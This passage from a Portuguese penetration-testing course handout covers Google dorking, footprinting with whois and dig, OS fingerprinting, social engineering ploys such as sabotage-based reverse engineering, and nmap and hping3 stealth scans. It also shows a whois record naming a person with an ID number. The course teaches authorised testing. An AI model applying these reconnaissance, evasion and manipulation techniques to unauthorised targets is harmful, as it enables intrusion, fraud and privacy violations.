Essa medida extrema é tomada justamente para evitar qualquer vazamento possível
de informações.
4.8 Aspectos Legais
É importante atentarmos para os aspectos legais de um teste de invasão, e se os

mesmo estão de acordo com as leis vigentes no país, e principalmente com o que foi
assinado no contrato de prestação de serviço ou NDA.
Devemos lembrar-nos de uma coisa:
TESTE DE INVASÃO SEM PERMISSÃO É CRIME!
Portanto, tenha sempre um contrato prévio assinado com o cliente, onde serão defi-
nidos os seguintes pontos:
• Limites do teste: até onde pode ir;
• Horários: períodos de menor utilização ou menos críticos;
• Equipe de suporte: caso haja alguém para tomar providências caso alguém
ataque tenha efeitos colaterais;
• Contatos: ao menos três contatos, com e-mail, endereço e telefone;
• Permissão assinada: um documento assinado pelo responsável pela empresa,

com os nomes das pessoas da equipe autorizadas a realizar os testes.
Dentro do que foi acordado, devemos ter o máximo cuidado para não causar compro-
metimentos que tragam algum tipo de prejuízo ao cliente, como a indisponibilidade
de informações vitais para o funcionamento organizacional, por exemplo.
Levando em conta esse aspecto, se possível, é interessante reproduzir o ambiente

de testes em máquina virtual para aproximar-se do possível comportamento do am-
biente testado antes de finalmente lançarmos alguns tipos de ataques.
Isso evitaria a maior parte dos comprometimentos não planejados à infraestrutura do

cliente, e pode poupar muita dor de cabeça!

5 Google Hacking
5.1 Google Hacking
Google Hacking é a atividade de usar recursos de busca do site, visando atacar ou

proteger melhor as informações de uma empresa. As informações disponíveis nos
servidores web da empresa provavelmente estarão nas bases de dados do Google.
Um servidor mal configurado pode expor diversas informações da empresa no Goo-

gle. Não é difícil conseguir acesso a arquivos de base de dados de sites através do
Google.
O Google possui diversos recursos que podem ser utilizados durante um teste de
invasão, e justamente por isso é considerada a melhor ferramenta para os hackers,
pois permite acesso a todo e qualquer tipo de informação que se queira. Podemos
usar como exemplo, o recurso de “cache” do Google, onde o mesmo armazena ver-
sões mais antigas de todos os sites que um dia já foram indexados por seus robôs.
Esse recurso permite que tenhamos acesso às páginas que já foram tiradas do ar,
desde que ainda existam na base de dados do Google. Vamos imaginar que em
algum momento da história do site de uma organização, uma informação mais sen-
sível estivesse disponível. Depois de um tempo, o webmaster tendo sido alertado
retirou tal informação do site. No entanto, se a página do site já tiver sido indexada
pelo Google, é possível que mesmo tendo sido alterada, ou retirada, ainda possamos
acessá-la utilizando o recurso de cache do Google.
5.2 Comandos Avançados do Google
5.2.1 intitle, allintitle
Busca conteúdo no título (tag title) da página.

Linux Force – www.linuxforce.com.br Google Hacking
Quando utilizamos o comando intitle, é importante prestar atenção à sintaxe da string

de busca, posto que a palavra que segue logo após o comando intitle é considerada
como a string de busca. O comando allintitle quebra essa regra, dizendo ao Google
que todas as palavras que seguem devem ser encontradas no title da página, por
isso, esse último comando é mais restritivo.
5.2.2 inurl, allinurl
Encontra texto em uma URL.
Como explicado no operador intitle, pode parecer uma tarefa relativamente simples
utilizar o operador inurl sem dar maior atenção ao mesmo. Mas devemos ter em
mente que uma URL é mais complicada do que um simples title, e o funcionamento
do operador inurl pode ser igualmente complexo.
Assim como o operador intitle, inurl também possui um operador companheiro, que é
o allinurl, que funciona de maneira idêntica e de forma restritiva, exibindo resultados
apenas em que todas as strings foram encontradas.
5.2.3 filetype
Busca por um arquivo de determinado tipo.
O Google pesquisa mais do que apenas páginas web. É possível pesquisar muitos
tipos diferentes de arquivos, incluindo PDF (Adobe Portable Document Format) e
Microsoft Office. O operador filetype pode ajudá-lo na busca de tipo de arquivos
específicos. Mais especificamente, podemos utilizar esse operador para pesquisas
de páginas que terminam em uma determinada extensão.
5.2.4 allintext
Localiza uma string dentro do texto de uma página.
O operador allintext é talvez o mais simples de usar, pois realiza a função de busca
mais conhecida como: localize o termo no texto da página.

Embora este operador possa parecer genérico para ser utilizado, é de grande ajuda
quando sabe que a string de busca apenas poderá ser encontrada no texto da página.
Utilizar o operador allintext também pode servir como um atalho para "encontrar esta
string em qualquer lugar, exceto no title, URL e links".
5.2.5 site
Direciona a pesquisa para o conteúdo de um determinado site.
Apesar de ser tecnicamente uma parte da URL, o endereço (ou nome de domínio)
de um servidor pode ser mais bem pesquisada com o operador site. Site permite que
você procure apenas as páginas que estão hospedadas em um servidor ou domínio
específico.
5.2.6 link
Busca por links para uma determinada página.
Em vez de fornecer um termo de pesquisa, o operador necessita de um link URL ou

nome do servidor como um argumento.
5.2.7 inanchor
Localiza texto dentro de uma âncora de texto.
Este operador pode ser considerado um companheiro para o operador link, uma vez
que ambos buscam links. O operado inanchor, no entanto, pesquisa a representação
de texto de um link, não o URL atual.
Inanchor aceita uma palavra ou expressão como argumento, como inanchor:click ou

inanchor:linuxforce. Este tipo de pesquisa será útil especialmente quando começa-
mos a estudar formas de buscar relações entre sites.

5.2.8 daterange
Busca por páginas publicadas dentro de um “range” de datas.
Você pode usar este operador para localizar páginas indexadas pelo Google em um
determinado intervalo de datas. Toda vez que o Google rastreia uma página, a data
em sua base de dados é alterada. Se o Google localizar alguma página Web obscura,
pode acontecer de indexá-la apenas uma vez e nunca retornar à ela.
Se você achar que suas pesquisas estão entupidas com esses tipos de páginas obs-
curas, você pode removê-las de sua pesquisa (e obter resultados mais atualizados)
através do uso eficaz do operador daterange.
Lembrando que a data deve ser informada no formato do calendário Juliano, infor-
mando o número de dias existentes entre 4713 AC e a data em que se quer buscar.
5.2.9 cache
Mostra a versão em cache de uma determinada página.
Como já discutimos, o Google mantém "snapshots"de páginas que indexou e que

podemos acessar através do link em cache na página de resultados de busca. Se
quiser ir direto para a versão em cache de uma página, sem antes fazer uma con-
sulta ao Google para chegar ao link em cache na página de resultados, você pode
simplesmente usar o operador cache em uma consulta, como cache:blackhat.com
5.2.10 info
Mostra conteúdo existente no sumário de informações do Google.
O operador info mostra o resumo das informações de um site e fornece links para
outras pesquisas do Google que podem pertencer a este site. O parâmetro informado
à este operador, deve ser uma URL válida.

5.2.11 related
Mostra sites relacionados.
O operador related exibe o que o Google determinou como relacionado a um determi-

nado site. O parâmetro para esse operador é uma URL válida. É possível conseguir
essa mesma funcionalidade, clicando no link "Similar Pages"a partir de qualquer pá-
gina de resultados de busca, ou usando o "Find pages similar to the page"da página
do formulário de pesquisa avançada
5.3 Google Hacking Database
Há um banco de dados virtual, com tags de busca no Google previamente criadas,

para conseguir informações específicas.
A partir das tags existentes, podemos encontrar muitas coisas interessantes sem
precisarmos nos preocupar em como desenvolver buscas específicas, utilizando os
operadores do Google, e testá-las até conseguirmos que os filtros corretos funcio-
nem.
Mas o mais importante que devemos manter em mente, é a possibilidade e adaptar

tais tags de busca para nossas necessidades.
GHD ⇒ http://www.exploit-db.com/google-dorks/
5.4 Levantamento de informações
O Google é a principal ferramenta para o levantamento de informações de nosso alvo.

É o melhor sistema público para utilizarmos em busca de informações sobre qualquer
coisa em relação ao nosso alvo: sites, propagandas, parceiros, redes sociais, grupos
e etc.
Além do Google, há outros sites específicos que auxiliam no processo de levanta-

mento de informações, os quais conheceremos mais adiante.

Um simples exemplo do que podemos encontrar no Google, e que pode voltar- se

contra a pessoa que disponibilizou tais informações online, é o seguinte: digitar na
caixa de busca currículo + cpf .
Certamente vários resultados retornarão com links onde podemos encontrar nome
completo, endereço, telefone, CPF, identidade e mais algumas informações das pes-
soas que disponibilizaram seus dados na internet. Tendo conhecimento de como
esses dados podem ser utilizados de maneira maliciosa, podemos ter mais consci-
ência ao publicarmos quaisquer informações nossas na internet.

6 Levantamento de Informações
6.1 Objetivos
• Conhecer os principais meios para coletar informações sobre o alvo
• Coletar informações utilizando ferramentas públicas
• Coletar informações utilizando ferramentas específicas
• Levantar domínios utilizando consultas públicas e ferramentas
6.2 Footprint
Footprint é a primeira etapa a ser realizada em um teste de intrusão. Durante essa

etapa, o Pen-tester coleta o máximo de informações para alimentar a anatomia de
ataque. Podemos dizer que é a fase em que o Pen-tester se prepara para realizar o
ataque.
Em média, um Pen-tester gasta 70% do tempo analisando um alvo e levantando

informações sobre o mesmo. Apenas 30% do tempo e usado para realizar o ata-
que e avaliar a possibilidade de um atacante realizar procedimentos pós-invasão na
máquina alvo.
Quando estamos realizando um footprint, devemos buscar informações relativas à

topologia da rede, sistemas operacionais, quantidade de máquinas e localização fí-
sica. Além disso, é importante também descobrir informações sobre os funcionários
da empresa, como: emails, cargos e também função específica no ambiente.
Linux Force – www.linuxforce.com.br Levantamento de Informações
"Dê-me seis horas para cortar uma árvore, e eu gastarei as primeiras quatro
horas afiando o machado."
Abraham Lincoln
6.3 Por onde começar?
O primeiro passo para começar a coleta de informações é navegar no website do

alvo. Vamos tomar como exemplo o website que hospeda o kernel Linux. Abra o
navegador e aponte para http://www.kernel.org.
Que tipo de informações você conseguiu encontrar no site?
Neste site há pelo menos três informações que um cracker levaria em considera-
ção:
• Dois e-mails válidos
• Um endereço para acompanhar as estatísticas dos servidores
• E uma lista com tecnologias e fornecedores
Não acredita? Então de uma olhada:
Os e-mails são webmaster@kernel.org e ftpadmin@kernel.org
http://cacti.kernel.org/graph_view.php?action=preview
http://www.kernel.org/powered.html
Ainda não encontrou? Então experimente olhar o código fonte da aplicação!
Como vimos, um simples acesso e um pouco de observação no site do alvo pode

nos fornecer algumas informações no mínimo interessantes. Depois de observar um
website à procura de informações, o próximo passo é pesquisar sobre coisas não tão
óbvias, porém, ainda sim públicas.

6.4 Consulta a informações de domínio
Após observar o site do alvo, é de interesse do atacante conhecer detalhes referentes

ao nome de domínio do cliente. A primeira coisa a ser feita é buscar informações
sobre o proprietário de um domínio. Isso pode ser feito utilizando o comando whois.
1 # whois linuxforce . com . br
Vamos qual o resultado que obtemos a esse comando:
1 domain : linuxforce . com . br

2 owner : maria rosa mariano galvao
3 ownerid : 696.856.906 -00
4 country : BR
5 owner -c: MRMGA
6 admin -c: MRMGA
7 tech -c: SRG107
8 billing -c : MRMGA
9 nserver : ns1 . linuxforce . com . br 108.163.170.146
10 nsstat : 20121123 AA
11 nslastaa : 20121123
12 nserver : ns2 . linuxforce . com . br 108.163.170.147
13 nsstat : 20121123 AA
14 nslastaa : 20121123
15 saci : yes
16 created : 20101201 # 7633101
17 expires : 20121201
18 changed : 20120411
19 status : published
20
21 nic - hdl - br : MRMGA
22 person : maria rosa mariano galvao
23 e - mail : marcio@linuxforce . com . br
24 created : 20100901
25 changed : 20110929
Podemos concluir que com um simples comando, disponível em praticamente qual-

quer sistema operacional, foi possível obter o nome do responsável pelo domínio, o
nome do responsável técnico pelo domínio, o nome dos dois servidores de DNS e o
CNPJ da empresa, localizado no campo ownerid.

Além da consulta whois em sistemas operacionais, é possível ainda utilizar serviços

que consultam o a base de dados de proprietários de domínios através de ferramen-
tas web, como o próprio http://registro.br, por exemplo.
https://registro.br/cgi-bin/whois/
Se compararmos a saída do site com a saída do comando whois, veremos que o

resultado é idêntico.
É importante saber que para cada região do mundo inteiro, há organizações res-
ponsáveis pelo registro de domínios, acima das organizações responsáveis pelos
registros em cada país.
No quadro abaixo, temos o nome e o endereço das organizações responsáveis em

cada parte do globo pelo gerenciamento e liberação de domínio (incluindo o grupo
de IPs) para cada região:
6.5 Consultando servidores DNS
Como sabemos, os servidores DNS são responsáveis por traduzir os nomes canô-
nicos de um domínio para o seu respectivo endereço IP. Sendo assim, um servidor
DNS conhece todos servidores que estão acessíveis através da rede pública.
Vamos consultá-lo, então.
1 # dig -t MX linuxforce . com . br

2 # dig -t NS linuxforce . com . br
Os campos MX, e NS fornecem, respectivamente, o nome dos servidores de e-mail

e o nome de todos os servidores de DNS.
Com essa consulta, já conseguimos, inclusive, endereços de servidores que utiliza-

remos em nossa varredura e enumeração de serviços.
6.6 Consultando websites antigos
Além da possibilidade de utilizarmos a opção em cache do Google, é possível uti-

lizarmos outros serviços que possibilitam que acessemos versões mais antigas de
qualquer site que já tenha sido publicado na web.
http://www.archive.org
Com isso, podemos encontrar informações que podem ser úteis, principalmente para
ataques de engenharia social, pois encontramos produtos antigos, ex-funcionários,
informações que foram retiradas do site por serem sensíveis e etc.
Utilizando esse serviço e pesquisando o site da Linux Force, obtemos o seguinte

resultado:

6.7 Webspiders
Webspiders são programas que navegam automaticamente por websites para co-
letar informações. Pensando no Google, um webspider feito pelo Google navega
pelos links das páginas e alimenta uma base de dados do Google, que é usada para
consultas durante as buscas realizadas pelos usuários.
Vamos parar e lembrar como funcionavam antigamente os sistemas de buscas como

Yahoo!, Cade?, Aonde.com, dentre outros. Antigamente, nós precisávamos cadas-
trar os nossos sites e as palavras chave referentes ao site, para ele ser encontrado
durante as buscas. Porém, o Google inovou na maneira de alimentar as bases de da-
dos dele, usando webspider. Hoje, basta que um site esteja na internet e linkado para
que ele apareça nas bases do Google, sem precisar de nenhum cadastro por parte
do criador do site nas ferramentas de buscas. Porém, isso expôs muitas informações
e para isso, foram criados os arquivos robots.txt.
Um webspider consulta o arquivo robots.txt que está localizado no diretório raiz do

website para saber quais arquivos ele não deve analisar. Portanto, os arquivos ou
diretórios que estão listados em um arquivo robots.txt não aparecerão nos resultados
das buscas realizadas em sites como o Google.
Vamos a um exemplo:
http://www.linuxforce.com.br/robots.txt
Portanto, os arquivos robots.txt podem revelar para nós informações sobre arquivos
e diretórios que poderíamos não conhecer e até mesmo não estar linkado no site.
Mais informações sobre os arquivos robots.txt podem ser obtidas no site
http://www.robotstxt.org/orig.html

6.8 Netcraft
Netcraft é uma empresa européia que prove serviços de internet. Dentro de alguns
serviços que ela fornece está a análise de mercado para empresas de web hosting
e servidores web, incluindo detecção do sistema operacional e versão do servidor
web, e em alguns casos, informações sobre uptime do servidor, já que normalmente
esse fator é determinante na escolha de uma empresa de hospedagem de sites.
Para nós, pode ser útil para exibir a versão do sistema operacional e servidor web
que um determinado host está usando, além de manter um histórico das versões que
o mesmo host já usou anteriormente.
http://www.netcraft.com
6.9 Buscando relacionamentos
Através de relacionamentos encontrados na web, podemos conseguir mais informa-

ções de nosso alvo.
Informações de relacionamentos podem ser encontradas em site com links para o

site do alvo, sites secundários que tem relação com o site principal do alvo, compa-
nhias que fazem negócios ou estão sob a mesma administração que nosso alvo e
etc.
Essas servem para entendermos melhor como a organização trabalha, se possui ou-
tros ramos de atividades, organizações “irmãs” e parcerias. Com tais informações em
mãos, e um melhor conhecimento da estrutura organizacional, podemos, inclusive,
realizar ataques de engenharia social mais eficazes.
O Google nos fornece alguns operadores que nos auxiliam nessa busca, e que já
estudamos anteriormente. São eles:
• info
• link
• related

6.10 Rastreamento de E-mails
A análise de e-mails é normalmente feita pela área de Forense Computacional.
Porém, podemos usar um e-mail para obter informações sobre o host da pessoa,
quando esse não é de conhecimento do atacante e precisa ser descoberto, pois é
um possível alvo.
O correio eletrônico é dividido em duas partes: Cabeçalho (Header) e Corpo (Body)

do e-mail. No cabeçalho é onde encontramos diversos campos com informações de
controle, destinatário, remetente, data de envio, dentre outras informações.
E é no corpo da mensagem que encontramos a mensagem, em si.
De acordo com a Rfc 2821 / 2822 , temos os seguintes campos presentes no cabe-
çalho de um e-mail:
Campos de origem:
• “From:” - autor da mensagem
• “Sender:” - remetente da mensagem
• “Reply-to:” - e-mail sugerido pelo autor da mensagem para que as respostas

sejam enviadas
Campos de destino:
• “To:” - endereço dos receptores primários da mensagem
• “Cc:” - Carbon Copy – receberão uma cópia da mensagem, com o e- mail visível
para todos
• “Bcc:” - Blind Carbon Copy – receberão uma cópia da mensagem, sem ter o
e-mail visível para todos
Campo de data de origem:
• “Date:” – Hora da criação da mensagem
Campos de identificação:

• “Message-ID:” – Identificador de mensagem único. Valor único determinado

pelo servidor que transmite a mensagem;
• “In-Reply-To:” – Usado quando uma mensagem é respondida. mensagem é

respondida. Identificador da mensagem respondida;
• “References:” – Usado quando uma Referências.
Campos de informação:
• “Subject:” – Assunto da mensagem;
• “Comments:” – Comentários sobre a mensagem;
• “Keywords:” – Palavras chaves relacionadas à mensagem;
Campos de Rastreamento:
• “Return-Path:” – Caminho de volta da mensagem para o remetente. Esse

campo é adicionado pelo último MTA que entrega o e-mail ao destinatário
• “Received:” – Contém informações para ajudar na análise de problemas com

a entrega e recebimento das mensagens. Todo e-mail possui pelo menos
um campo “Received”, que é adicionado por cada servidor onde a mensagem
passa.
O campo que interessa a nós é o campo “Received:”, que contém informações sobre
o endereço IP de onde a mensagem de correio eletrônico partiu.
6.11 Fingerprint
Fingerprint é uma das principais técnicas de levantamento de informação (footprint)

que é realizada por um Pen-Tester antes que o mesmo comece a realizar os ataques
em seu alvo.
A função dessa técnica é identificar a versão e distribuição do sistema operacional

que irá receber a tentativa de intrusão. Sendo assim, essa técnica é extremamente
importante para que o atacante consiga desenvolver de maneira mais precisa e me-
nos ruidosa seu ataque. Usando essa técnica o Pen-Tester estará explorando proble-

mas da pilha TCP/IP e verificando características únicas que permitem que o sistema
alvo seja identificado.
Só depois que isso for feito, poderão ser escolhidas as melhores ferramentas para
explorar o sistema.
Para que o fingerprint apresente resultados confiáveis são necessárias análises com-
plexas, como:
• Analise de pacotes que trafegam pela rede;
• Leitura de banners (assinaturas do sistema);
• Análise de particularidades da pilha TCP/IP.
Para realizar tais análises, podemos utilizar ferramentas específicas, conhecidas

como scanners de fingerprint, que são softwares usados para realizar tarefas de
detecção de sistemas operacionais.
Entre os scanners existentes, podemos dividi-los basicamente em dois tipos:
6.12 Fingerprint passivo
O scanner atua como um “farejador” na rede, ou seja, fica escutando os pacotes

que passam por ela, detectando o formato do pacote que esta passando consegue
identificar o sistema operacional.
Para esse tipo de operação, utilizamos a ferramenta p0f, que permite “farejarmos” os
pacotes que trafegam na rede.
1 # p0f -i eth0 -o log
Com o parâmetro -i definimos em qual dispositivo de rede ele ficará farejando os

pacotes, se não definimos nada, ele assume “all”, farejando todos os dispositivos
disponíveis.
Com o parâmetro -o, dizemos para o p0f armazenar tudo o que for capturado em um
arquivo de saída, com nome definido por nós.

6.13 Fingerprint ativo
O scanner envia pacotes manipulados e forjados, baseado em uma tabela própria de

fingerprint. Com isso, ele analisa a resposta do pacote e compara com a tabela, para
definir qual o sistema operacional.
O risco desse tipo de fingerprint, é que se o alvo estiver com um firewall bem con-
figurado e um IDS/IPS, nosso acesso pode ser logado em seu sistema e pode ser
difícil que consigamos muitas informações.
Duas ferramentas que podemos utilizar em um fingerprint ativo são nmap e xprobe2,
além, obviamente, dos comandos ping e traceroute, só para citarmos dois comandos
básicos.
6.13.1 Descobrindo um Sistema Operacional usando ICMP
Um simples ping é capaz de revelar o sistema operacional de uma máquina.
1 # ping linuxforce . com . br

2 PING linuxforce . com . br (108.163.170.150) 56(84) bytes of data .
3 64 bytes from 108.163.170.150: icmp_seq =2 ttl =47 time =325 ms
A informação importante está no campo TTL (Time To Live). A maioria dos sistemas
operacionais se diferencia pelo valor retornado de TTL. Veja a lista abaixo:
• Cyclades - Normalmente 30
• Linux - Normalmente 64
• Windows - Normalmente 128
• Cisco - Normalmente 255
• Linux + iptables - Normalmente 255

6.13.2 Calculando HOP
Utilizando os comandos traceroute e ping conjugados para obter informações, pode-

mos calcular o ttl e descobrir o sistema operacional do alvo.
Com o traceroute podemos ver que temos 13 saltos, até que os pacotes são interrom-
pidos, o que pode representar um firewall ou algo do tipo que descarte os pacotes.
Agora que sabemos por quantos roteadores estamos passando, podemos usar o
comando ping para descobrir o TTL do site.
1 # ping linuxforce . com . br

2 PING linuxforce . com . br (108.163.170.150) 56(84) bytes of data .
Somando a quantidade de saltos (13) com o valor de ttl (47), temos 60. O mais
próximo de 60 é 64, que representa o Linux. A partir daí, podemos concluir que o
sistema operacional utilizado no servidor onde o site está hospedado é Linux.
6.13.3 Fingerprint através do xprobe2
Ferramenta para fingerprint ativo apresentada na conferencia BlackHat Las-Vegas

em 2001 criada por Fyodor criador da ferramenta nmap e Ofir Arkin co-fundador do
projeto honeynet.org.
Seu banco de dados de assinaturas fica em:
1 / usr / local / etc / xprobe2 / xprobe2 . conf
Execute o xprobe2 em linuxforce.com.br para descobrir o sistema operacional:
1 # xprobe2 linuxforce . com . br
Agora tente utilizar o fingerprint sobre uma porta aberta:
1 # xprobe2 -p tcp :80: open linuxforce . com . br

Percebe-se que quanto maior o número de informações que passamos para o xprobe2,
maior é a precisão no reconhecimento do Sistema Operacional do alvo.
6.14 Contramedidas
• Configurar as aplicações instaladas nos servidores, atentando para as informa-

ções que elas exibem durante as requisições.
• Configurar corretamente as regras de firewall para bloquear requisições malici-

osas.
• Ter cuidado com as informações publicadas na WEB.
• Configurar corretamente o arquivo robot.txt, para que diretórios com arquivos

sensíveis não sejam indexados pelos sistemas de busca.

7 Engenharia Social
7.1 O que é Engenharia Social?
Podemos considerar a engenharia social como a arte de enganar pessoas para con-
seguir informações, as quais não deviam ter acesso.
Muitas vezes empregados de uma empresa deixam escapar informações sigilosas

através de um contato via telefone ou mesmo conversando em locais públicos como:
corredores, elevadores e bares.
Uma empresa pode ter os melhores produtos de segurança que o dinheiro pode
proporcionar. Porém, o fator humano é, em geral, o ponto mais fraco da segurança.
7.2 Tipos de Engenharia Social
7.2.1 Baseada em pessoas
As técnicas de engenharia social baseada em pessoas possuem diversas caracte-

rísticas que são utilizadas para que o atacante consiga as informações que deseja,
dentre elas podemos citar:
• Disfarces
• Representações
• Uso de cargos de alto nível
• Ataques ao serviço de Helpdesk

Linux Force – www.linuxforce.com.br Engenharia Social
7.2.2 Baseada em computadores
Esses ataques são caracterizados por utilizarem técnicas de ataque baseadas no

desconhecimento do usuário com relação ao uso correto da informática.
Exemplos:
• Cavalos de Tróia anexados a e-mails
• E-mails falsos
• WebSites falsos
7.3 Formas de ataque
7.3.1 Insider Attacks
Insiders são pessoas de dentro da própria organização.
O objetivos por detrás dos ataques de insiders podem ser vários, desde descobrir
quanto o colega do lado ganha, até conseguir acesso a informações confidenciais
de um projeto novo para vender ao concorrente de seu empregador.
7.3.2 Roubo de identidade
Atualmente, quando alguém cria uma nova identidade baseando-se em informações

de outra pessoa, essa identidade é chamada de “laranja”.
Dentro de empresas, o roubo de credenciais, para acessar informações que não es-
tão acessíveis a todos, é um fato corriqueiro, que pode passar pelo simples shoulder
surfing à clonagem de ID Card.

7.3.3 Phishing Scam
É uma forma de fraude eletrônica, caracterizada por tentativas de adquirir informa-

ções sigilosas, ou instalar programas maliciosos na máquina alvo.
Na prática do Phishing surgem artimanhas cada vez mais sofisticadas para "pes-
car"(do inglês fish) as informações sigilosas dos usuários.
7.3.4 URL Obfuscation
Técnica utilizada para diminuir o tamanho de URL’s muito grandes.
Exemplos de serviços:
• migre.me
• okm.me
• digi.to
Isso pode ser utilizado para ocultar URL com parâmetros ou tags maliciosos, como
tags de javascript para ataques de XSS, por exemplo.
7.3.5 Dumpster Diving
É o ato de vasculhar lixeiras em busca de informações.
Todos os dias são jogados no lixo de empresas vários documentos por terem perdido
sua utilidade. Os atacantes podem aproveitar essas informações e usá-las para um
ataque.
7.3.6 Persuasão
Os próprios hackers vêem a engenharia social de um ponto de vista psicológico,

enfatizando como criar o ambiente psicológico perfeito para um ataque.

Os métodos básicos de persuasão são: personificação, insinuação, conformidade,

difusão de responsabilidade e a velha amizade.
Independente do método usado, o objetivo principal é convencer a pessoa que dará

a informação, de que o engenheiro social é de fato uma pessoa a quem ela pode
confiar as informações prestadas. Outro fator importante é nunca pedir muita infor-
mação de uma só vez e sim perguntar aos poucos e para pessoas diferentes, a fim
de manter a aparência de uma relação confortável.
7.4 Engenharia Social Reversa
Um método mais avançado de conseguir informações ilícitas é com a engenharia

social reversa. Isto ocorre quando o atacante cria uma personalidade que aparece
numa posição de autoridade, de modo que todos os usuários lhe pedirão informação.
Se pesquisados, planejados e bem executados, os ataques de engenharia social
reversa permitem extrair dos funcionários informações muito valiosas; entretanto, isto
requer muita preparação e pesquisa.
Os três métodos de ataques de engenharia social reversa são, sabotagem, propa-

ganda e ajuda. Na sabotagem, o hacker causa problemas na rede, então divulga
que possui a solução para este, e se propõe a solucioná-lo. Na expectativa de ver
a falha corrigida, os funcionários passam para o hacker todas as informações por
ele solicitadas. Após atingir o seu objetivo, o hacker elimina a falha e a rede volta
funcionar normalmente. Resolvido o problema os funcionários sentem-se satisfeitos
e jamais desconfiarão que foram alvos de um hacker.
A melhor referência que atualmente temos sobre engenharia social, é o site do pro-
jeto Social Engineering Framework. Para maiores informações acessem:
http://www.social-engineer.org/framework/Social_Engineering_Framework

8 Varreduras ativas, passivas e
furtivas de rede
8.1 Varreduras Internet Control Messages Protocol

(ICMP)
O protocolo IP (Internet Protocol) é conhecido como ”protocolo do melhor esforço”,

devido a sua característica de sempre procurar o melhor caminho até uma determi-
nada rede ou host. O IP possui um fiel escudeiro, um chamado ICMP (Internet Con-
trol Messages Protocol) e, de acordo com a RFC792 o ICMP é empregado quando:
• Quando um pacote não consegue chegar ao destino
• Quando um roteador não consegue encaminhar um pacote
• Quando um roteador descobre uma rota mais curta para um desti
Ferramentas como o ping e o traceroute utilizam o protocolo de controle ICMP para

determinar se um host está vivo na rede e para mapear os roteadores até um destino,
por exemplo.
O ’ping’ é um ICMP echo request (tipo 8) e o ’pong’ é um ICMP echo reply (tipo 0).
Há uma infinidade de icmp types, que podem ser consultados no site da iana.
Sabendo dessa particularidade, podemos utilizar uma ferramenta simples chamada

fping, que pode facilmente detectar todos os hosts ativos numa rede, desde que os
mesmos respondam icmp.
1 # fping -c1 -g 192.168.200.0/24 2 > / dev / null | grep alive
O nmap também pode ser usado com a opção –sP

Linux Force – www.linuxforce.com.br Varreduras ativas, passivas e furtivas de rede
1 # nmap -sP 192.168.200.0/24
No caso do nmap, se utilizarmos a opção Ping Scan (-sP), observamos que mesmo
se uma máquina estiver bloqueando pacotes ICMP, ele poderá listá-la como ativa,
pois ele também envia pacotes TCP para algumas portas, como por exemplo a porta
80.
Assim, conseguimos a lista de todos os computadores que respondem ping na rede.
8.2 Varreduras TCP
Enquanto que as varreduras ICMP nos informam a quantidade de hosts ativos em

uma rede, as varreduras TCP nos informam o número de portas abertas em um
determinado computador. Para descobrir se uma porta esta aberta ou fechada, o
programa chamado port scanner manipula uma característica do protocolo TCP, cha-
mada Three Way Handshake, descrita na RFC 793.
De acordo com a imagem, o cliente, que deseja conectar-se a um servidor, envia um

pedido de conexão, ou seja, no cabeçalho do datagrama TCP contém uma flag do

tipo ”SYN”.
O servidor, que está apto a atender novas requisições responde então com um data-
grama TCP contendo uma flag do tipo ”SYN”+ ”ACK”.
O cliente então responde com um datagrama contendo um ”ACK”, e então é estabe-

lecida a conexão.
De acordo com a RFC 793, que define os parâmetros para o protocolo TCP, toda
porta aberta deve responder com a flag ”SYN+ACK”, e toda porta fechada deve res-
ponder com uma flag ”RST”.
Para identificar este comportamento, vamos utilizar a ferramenta linha de comando

hping3.
Verificando o comportamento de um servidor com a porta 80 aberta.
1 # hping3 -- syn -c 1 -p 80 192.168.0.173

2 HPING 192.168.0.173 ( eth0 192.168.0.173) : S set , 40 headers + 0 data
bytes
3 len =46 ip =192.168.0.173 ttl =128 DF id =1067 sport =80 flags = SA seq =0
win =64240 rtt =4.3 ms
O mesmo comando agora em uma porta fechada.
1 # hping3 -- syn -c 1 -p 81 192.168.0.173

2 HPING 192.168.0.173 ( eth0 192.168.0.173) : S set , 40 headers + 0 data
bytes
3 len =46 ip =192.168.0.173 ttl =128 id =1069 sport =81 flags = RA seq =0 win
=0 rtt =1.0 ms
Perceba que as respostas são, SA, que representa um ”SYN + ACK”, e um RA, que
representa um ”Reset + ACK”, a resposta padrão para portas fechadas.
8.3 NMAP
Nmap pode ser considerada uma das ferramentas mais completas para realizar var-
reduras em redes, pois possui um número imenso de opções, permitindo explorar-

mos quase todas as possibilidades de varreduras possíveis.
Essa ferramenta possui, inclusive, opções que permitem burlar sistemas de proteção,
como IDS/IPS e Firewall, cujas regras poderiam bloquear ou detectar varreduras não
permitidas.
Sintaxe: nmap [Scan Type(s)] [Options] target specification
8.4 Métodos de Varredura
8.4.1 -sP
Ping scan: Algumas vezes é necessário saber se um determinado host ou rede está
no ar. Nmap pode enviar pacotes ICMP “echo request” para verificar se determinado
host ou rede está ativa. Hoje em dia, existem muitos filtros que rejeitam os pacotes
ICMP “echo request”, então envia um pacote TCP ACK para a porta 80 (default) e
caso receba RST o alvo está ativo. A terceira técnica envia um pacote SYN e espera
um RST ou SYN-ACK.
8.4.2 -sV
Version detection: Após as portas TCP e/ou UDP serem descobertas por algum
dos métodos, o nmap irá determinar qual o serviço está rodando atualmente. O
arquivo nmap-service-probes é utilizado para determinar tipos de protocolos, nome
da aplicação, número da versão e outros detalhes.
8.4.3 -sS
TCP SYN scan: Técnica também conhecida como “half-open”, pois não abre uma
conexão TCP completa. É enviado um pacote SYN, como se ele fosse uma conexão
real e aguarda uma resposta. Caso um pacote SYN-ACK seja recebido, a porta está
aberta, enquanto que um RST-ACK como resposta indica que a porta está fechada. A
vantagem dessa abordagem é que poucos irão detectar esse scanning de portas.

8.4.4 -sT
TCP connect() scan: É a técnica mais básica de TCP scanning. É utilizada a cha-
mada de sistema (system call) “connect()” que envia um sinal as portas ativas. Caso
a porta esteja aberta recebe como resposta “connect()”. É um dos scan mais rápidos,
porém fácil de ser detectado.
8.4.5 -sU
UDP scan: Este método é utilizado para determinar qual porta UDP está aberta em
um host. A técnica consiste em enviar um pacote UDP de 0 byte para cada porta do
host. Se for recebida uma mensagem ICMP “port unreachable” então a porta está
fechada, senão a porta pode estar aberta. Para variar um pouco, a Microsoft ignorou
a sugestão da RFC e com isso a varredura de máquinas Windows é muito rápida.
8.4.6 -sF, -sX, -sN
Stealth FIN, Xmas Tree ou Null: Alguns firewalls e filtros de pacotes detectam pa-
cotes SYN’s em portas restritas, então é necessário utilizar métodos avançados para
atravessar esses softwares.
FIN: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, en-
quanto portas abertas ignoram esses pacotes. (Esse método não funciona com a
plataforma Windows, uma vez que a Microsoft não seguiu RFC 973)
